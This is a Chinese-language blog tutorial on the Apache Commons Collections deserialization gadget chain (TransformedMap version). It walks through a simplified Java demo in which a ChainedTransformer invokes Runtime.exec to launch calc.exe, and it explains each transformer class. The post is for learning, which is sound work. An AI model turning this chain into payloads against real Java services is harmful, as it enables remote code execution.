java安全(七) 反序列化3 CC利用链 TransformedMap版

  • Post author:
  • Post category:java



给个关注?宝儿!



给个关注?宝儿!



给个关注?宝儿!








众所周知,CommonCollections利⽤链是作为反序列化学习不可绕i过的一关



图解

先挂一张wh1te8ea的利用链图解,非常直观!

在这里插入图片描述



代码demo

分析:

代码使用了phith0n大佬的代码,对原本复杂的源码进行了优化,适合复现以及更加深刻理解

demo代码:

package test.org.vulhub.Ser;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"C:\\WINDOWS\\system32\\calc.exe"}),
        };

        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

exec执行命令:C:\WINDOWS\system32\calc.exe

运行后计算机弹出

在这里插入图片描述



涉及的接口与类:



TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可

以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。

我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。



Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

public interface Transformer {
 public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调

函数“,这个回调的参数是原始对象。



ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个

对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
 super();
 iConstant = constantToReturn; }
public Object transform(Object input) {
 return iConstant; }

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。



InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序

列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数

是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
 	super();
 	iMethodName = methodName;
 	iParamTypes = paramTypes;
 	iArgs = args;
 	 }

后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:

public Object transform(Object input) {
 	if (input == null) {
 		return null;
 }
 try {
 	Class cls = input.getClass();
 	Method method = cls.getMethod(iMethodName, iParamTypes);
 	return method.invoke(input, iArgs);
 	
 } catch (NoSuchMethodException ex) {
 	throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");
 } catch (IllegalAccessException ex) {
 	throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
 } catch (InvocationTargetException ex) {
 	throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
 }
}
 



ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串

在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:

在这里插入图片描述

它的代码也⽐较简单:

public ChainedTransformer(Transformer[] transformers) {
 super();
 iTransformers = transformers; }
public Object transform(Object object) {
 for (int i = 0; i < iTransformers.length; i++) {
 object = iTransformers[i].transform(object);
 }
 return object; }



dome理解

在这里插入图片描述

我创建了⼀个

ChainedTransformer

,其中包含两个

Transformer

:第⼀个是

ConstantTransformer



直接返回当前环境的Runtime对象;第⼆个是

InvokerTransformer

,执⾏Runtime对象的exec⽅法,参

数是

C:\WINDOWS\system32\calc.exe

当然,这个

transformerChain

只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的


TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:

outerMap.put("test", "xxxx"); 1



总结:

简化的demo给⼤家演示了CommonCollections利⽤链的执⾏流程,⽽且我

特地去掉了和反射相关的代码,所以⼤家可以看到本节demo中并没有涉及到反射相关的内容

实战的反序列化漏洞利用poc构造,放在下一篇



版权声明:本文为weixin_45694388原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。